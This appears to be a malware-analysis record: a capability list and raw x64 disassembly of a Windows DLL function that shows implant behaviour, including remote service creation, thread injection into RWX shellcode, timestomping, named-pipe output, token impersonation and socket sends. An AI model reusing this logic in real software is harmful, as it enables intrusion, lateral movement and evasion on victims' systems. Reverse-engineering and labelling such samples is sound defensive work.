Function at 0x180016224
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Connect socket
Copy file
Create pipe
Create service
Create thread
Delete service
Enumerate files on windows
Enumerate processes
Execute shellcode via indirect call
Get common file path
Get disk information
Inject thread
Move file
Query service status
Resolve dns
Send data
Send data on socket
Set current directory
Set socket configuration
Spawn thread to rwx shellcode
Start service
Terminate process
Terminate process by name
Timestomp file
Write file on windows
Write pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x6000
mov ebx, edx
call fcn.180014120
mov r12d, 0x2000
mov rcx, rax
mov edx, r12d
mov r15, rax
call fcn.18001423c
mov edx, r12d
mov rcx, r15
mov r14, rax
call fcn.18001423c
mov edx, r12d
mov rcx, r15
mov rsi, rax
call fcn.18001423c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, r14
call fcn.18001429c
mov r8d, r12d
mov rdx, rsi
mov rcx, r14
call fcn.1800106cc
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, rbp
call fcn.18001429c
mov rcx, rsi
call fcn.18000c9cc
mov r8d, r12d
mov rcx, r14
lea rdx, [rax + 4]
mov rbx, rax
mov dword [rax], 1
call fcn.1800106cc
lea rdx, [rbx + 0x2004]
mov r8d, r12d
mov rcx, rbp
call fcn.1800106cc
mov rcx, r15
call fcn.1800141d0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, qword [0x18003e440]
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
call fcn.18000cf40
jmp 0x18000c8c5
cmp dword [rbx], 1
jne 0x18000c8be
lea r8, [rbx + 0x2004]
lea rdx, [0x18002c720]
lea rcx, [rsp + 0x20]
call fcn.18000cfa0
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x18000c8a1
lea rcx, [rsp + 0x20]
call fcn.180014238
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d000
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cf1c
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, qword [0x18003e440]
mov rdi, rcx
mov r14d, 0x2000
mov ecx, r14d
movsxd rbx, edx
call fcn.180019378
mov r8d, r14d
mov rcx, rdi
mov rdx, rax
mov rbp, rax
mov byte [rbx + rdi], 0
call fcn.1800106cc
jmp 0x18000c998
cmp dword [rsi], 1
jne 0x18000c991
lea rcx, [rsi + 4]
mov r8, rbp
mov rax, rcx
sub r8, rcx
movzx edx, byte [rax]
movzx r9d, byte [rax + r8]
sub edx, r9d
jne 0x18000c972
inc rax
test r9d, r9d
jne 0x18000c95d
test edx, edx
jne 0x18000c991
and dword [rsi], edx
mov r8, r14
call fcn.180019620
lea rcx, [rsi + 0x2004]
mov r8, r14
xor edx, edx
call fcn.180019620
mov rsi, qword [rsi + 0x4008]
test rsi, rsi
jne 0x18000c94b
mov r8, r14
xor edx, edx
mov rcx, rbp
call fcn.180019620
mov rcx, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp fcn.180019338
cmp edx, 0x3ff
jg 0x18000dee1
push rbx
sub rsp, 0x430
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x420], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.1800197f0
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x430
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x8000
mov ebx, edx
call fcn.180014120
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.18001423c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.18001429c
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.18001429c
lea rcx, [rsp + 0x20]
call fcn.180014264
mov r8d, r13d
mov rdx, rsi
mov rcx, rbp
movzx ebx, ax
call fcn.1800106cc
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.18001ae38
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.18001ae38
test bl, 1
je 0x18000e013
lea rcx, [rsp + 0x80]
call fcn.180010750
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000dfef
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000ec40
mov rcx, qword [rsp + 0x80]
call fcn.180010788
jmp 0x18000e030
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000e01b
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000ec40
mov rcx, r12
call fcn.1800141d0
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov rsi, rcx
movsxd rdi, edx
mov ebx, 0x68
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, ebx
call fcn.180019620
xor eax, eax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r14d, r14d
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x74], 0x101
cmp edi, 0x3ff
jg 0x18000e129
lea rcx, [rbp - 0x40]
mov r8, rdi
mov rdx, rsi
call fcn.1800197f0
cmp rdi, 0x400
jae 0x18000e150
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x40]
mov edx, edi
mov dword [rsp + 0x28], r14d
mov byte [rbp + rdi - 0x40], r14b
mov dword [rsp + 0x20], r14d
call fcn.180015514
lea rcx, [rsp + 0x30]
call fcn.1800129ec
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.18001a34c
int3
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014204
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x70], r8
mov edi, edx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x6800
lea r12d, [rax + 0x4e20]
call fcn.180014120
mov ebp, 0x400
mov rcx, rax
mov edx, ebp
mov r14, rax
call fcn.18001423c
mov edx, ebp
mov rcx, r14
mov rsi, rax
call fcn.18001423c
mov edx, 0x4000
mov rcx, r14
mov rbp, rax
call fcn.18001423c
mov edx, 0x2000
mov rcx, r14
mov r13, rax
call fcn.18001423c
lea rcx, [rsp + 0x78]
mov r8d, edi
mov rdx, rbx
mov r15, rax
call fcn.1800141f4
mov ebx, 0x400
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rsi
call fcn.18001429c
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rbp
call fcn.18001429c
lea rcx, [rsp + 0x78]
mov r8d, 0x4000
mov rdx, r13
call fcn.18001429c
xor edx, edx
mov r8d, 0xf003f
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
xor eax, eax
test rdi, rdi
jne 0x18000e28c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x33]
mov rdx, rsi
mov r8d, eax
call fcn.18000d4c0
jmp 0x18000e3f9
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], eax
mov r9d, 0xf01ff
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
test rax, rax
jne 0x18000e2ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_on__s:__d
lea ecx, [rbx + 0x36]
mov r9, rsi
mov r8, rbp
mov dword [rsp + 0x20], eax
call fcn.18000d368
jmp 0x18000e3f0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x18000e32b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41d
je 0x18000e32b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x37
jmp 0x18000e3a3
lea r8, str.Started_service__s_on__s
mov r9, rbp
mov edx, 0x2000
mov rcx, r15
mov qword [rsp + 0x20], rsi
call fcn.18001972c
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [r15 + rdx], 0
jne 0x18000e34b
xor r8d, r8d
mov rcx, r15
call qword [rsp + 0x70]
jmp 0x18000e38b
lea rdx, [rsp + 0x90]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x18000e398
cmp dword [rsp + 0x94], 1
je 0x18000e3b9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r12d
jb 0x18000e361
jmp 0x18000e3b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x38
lea rdx, str._s_on__s:__d
mov r9, rsi
mov r8, rbp
mov dword [rsp + 0x20], eax
call fcn.18000d368
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x18000e3e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_on__s:__d
mov r9, rsi
mov r8, rbp
mov ecx, 0x39
mov dword [rsp + 0x20], eax
call fcn.18000d368
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call fcn.1800141d0
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x118]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x830
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.180019620
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000e484
lea rcx, [rsp + 0x20]
mov r8d, 0x13
mov edx, eax
call rbx
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x830
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rdi, rcx
mov ecx, 0x4c00
mov ebx, edx
call fcn.180014120
mov edx, 0x4000
mov rcx, rax
mov r15, rax
call fcn.18001423c
mov r13d, 0x400
mov rcx, r15
mov edx, r13d
mov rsi, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r15
mov r12, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r15
mov rbp, rax
call fcn.18001423c
lea rcx, [rsp + 0x30]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.1800141f4
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r12
call fcn.18001429c
test eax, eax
je 0x18000e5ad
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, rbp
call fcn.18001429c
test eax, eax
je 0x18000e5ad
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r14
call fcn.18001429c
test eax, eax
je 0x18000e5ad
lea rcx, [rsp + 0x30]
mov r8d, 0x4000
mov rdx, rsi
call fcn.18001429c
test eax, eax
je 0x18000e5ad
call fcn.180018e6c
lea rax, [rsp + 0x48]
mov r9, rsi
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r8, r14
mov rdx, rbp
mov rcx, r12
call fcn.18000fb18
call fcn.180018e9c
mov rcx, r15
call fcn.1800141d0
lea rcx, [rsp + 0x48]
call fcn.1800129ec
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, esi
call fcn.180019620
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r12d, r12d
mov ecx, 0x2000
mov word [rbp + 0x17], r12w
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x13], 0x101
call fcn.180014120
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001423c
lea rcx, [rbp - 0x41]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.1800141f4
lea rcx, [rbp - 0x41]
call fcn.180014204
lea rcx, [rbp - 0x41]
mov r8d, 0x2000
mov rdx, rsi
mov ebx, eax
call fcn.18001429c
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x18000e686
mov dword [rsp + 0x30], ebx
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
mov rcx, rsi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 0x10
call fcn.180015364
mov rcx, r14
call fcn.1800141d0
lea rcx, [rbp - 0x59]
call fcn.1800129ec
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
jmp 0x1800289c8
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014204
lea rcx, [rsp + 0x20]
mov dword [section..data], eax
call fcn.180014204
xor edx, edx
lea ecx, [rax - 1]
cmp ecx, 0x62
cmova eax, edx
mov dword [0x18003e448], eax
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014314
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.180014204
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.180014190
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.180014238
mov edi, eax
call fcn.18000dd60
jmp 0x18000e7c2
mov edx, r15d
mov rcx, r14
call fcn.18000edb8
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000e802
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x18000e7a3
mov ecx, 0x46
call fcn.18000d4a0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x18000e7d6
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov edi, edx
mov rbx, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x61]
mov r8d, edi
mov rdx, rbx
lea r14d, [rax + 0xea60]
call fcn.1800141f4
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x61]
mov r8d, 0x80
call fcn.18001429c
lea rcx, [rbp - 0x61]
call fcn.180014190
lea rcx, [rbp - 0x61]
mov rdi, rax
call fcn.180014238
xor ebx, ebx
mov dword [rbp - 0x79], eax
lea rdx, [rbp - 0x71]
lea rcx, [rbp - 0x49]
call fcn.180012c48
test eax, eax
jne 0x18000e8e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18000e8c9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18000e8c9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x18000e890
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x49]
mov ecx, 0x32
mov r8d, eax
call fcn.18000d4c0
jmp 0x18000e968
mov rcx, qword [rbp - 0x71]
and qword [rsp + 0x20], rsi
lea r9, [rbp - 0x69]
lea rdx, [rbp - 0x79]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp - 0x79]
test eax, eax
je 0x18000e93f
mov ebx, 0x2000
mov rcx, qword [rbp - 0x71]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp - 0x69]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000e93f
add esi, dword [rbp - 0x69]
mov eax, dword [rbp - 0x79]
cmp esi, eax
jb 0x18000e90e
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x770], rax
mov rbx, rcx
mov edi, edx
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x70], 0
call fcn.180019620
lea rcx, [rbp + 0x371]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x370], 0
call fcn.180019620
lea rcx, [rsp + 0x58]
mov r8d, edi
mov rdx, rbx
call fcn.1800141f4
mov ebx, 0x400
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.18001429c
test eax, eax
je 0x18000eb3a
lea rdx, [rbp + 0x370]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.18001429c
test eax, eax
je 0x18000eb3a
and qword [rsp + 0x30], 0
mov edi, 3
lea rcx, [rsp + 0x70]
lea r8d, [rdi - 2]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x2000080
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x18000ea8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x70]
mov r8d, eax
mov ecx, 0x31
call fcn.18000d4c0
jmp 0x18000eb3a
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x18000eab5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 9
jmp 0x18000eb2a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0x30], 0
xor r9d, r9d
lea r8d, [r9 + 2]
lea rcx, [rbp + 0x370]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x18000eb03
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp + 0x370]
jmp 0x18000ea7a
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x18000eb31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xa
mov edx, eax
call fcn.18000d3d4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x770]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0x880]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.180019378
mov rdi, rax
test rax, rax
je 0x18000ec29
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.18001429c
mov rcx, rdi
test eax, eax
jne 0x18000ebc3
call fcn.180019338
jmp 0x18000ec29
mov rdx, rbx
call fcn.18001ac0c
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000ec0f
lea rcx, [rsp + 0x20]
call fcn.180014238
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.180014190
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001ada8
mov rcx, rsi
call fcn.18001aacc
mov rcx, rdi
jmp 0x18000ebbc
mov rcx, rdi
call fcn.180019338
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000d3d4
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, rcx
mov rcx, qword [0x18003c020]
or rbx, 0xffffffffffffffff
cmp rcx, rbx
je 0x18000eeb9
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18003c018]
cmp rcx, rbx
je 0x18000ef25
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18000eee3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xc
mov edx, eax
call fcn.18000d3d4
jmp 0x18000ef2f
mov rcx, qword [0x18003c018]
lea rdx, [rsp + 0x20]
mov r8d, 0x200
mov qword [0x180042770], rcx
call fcn.180018ecc
test eax, eax
je 0x18000ef2f
lea rax, [rsp + 0x20]
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000ef0a
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, 0xf
call rdi
jmp 0x18000ef2f
mov ecx, 1
call fcn.18000d4a0
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x248]
add rsp, 0x230
pop rdi
ret
cmp edx, 0x100
jge 0x18000f018
push rbx
sub rsp, 0x150
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x140], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.180019c80
cmp rbx, 0x100
jae 0x18000f019
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea rcx, [rsp + 0x40]
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x18003c018], rax
mov qword [0x18003c010], rax
mov qword [0x18003c020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18003c010], rax
test rax, rax
je 0x18000f000
lea rcx, [0x18000f104]
xor edx, edx
call fcn.180018798
mov qword [0x18003c020], rax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x150
pop rbx
ret
call fcn.18001a34c
int3
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
mov rsi, r8
call fcn.18000cf40
cmp qword [0x180042770], 0
je 0x18000f072
call fcn.180018e6c
mov r8, qword [0x180042770]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000f1f0
call fcn.180018e9c
jmp 0x18000f0ba
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000f0b0
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000f1f0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000f0ba
mov ecx, 0x3b
call fcn.18000d4a0
lea rcx, [rsp + 0x20]
call fcn.180014238
test eax, eax
je 0x18000f0e8
lea rcx, [rsp + 0x20]
call fcn.180014238
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d000
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rsi
lea rcx, [rsp + 0x20]
call fcn.18000cf1c
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, rcx
mov ecx, 0x1000
mov r13, r8
mov ebx, edx
call fcn.180014120
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.18001423c
mov edx, r14d
mov rcx, rbp
mov rsi, rax
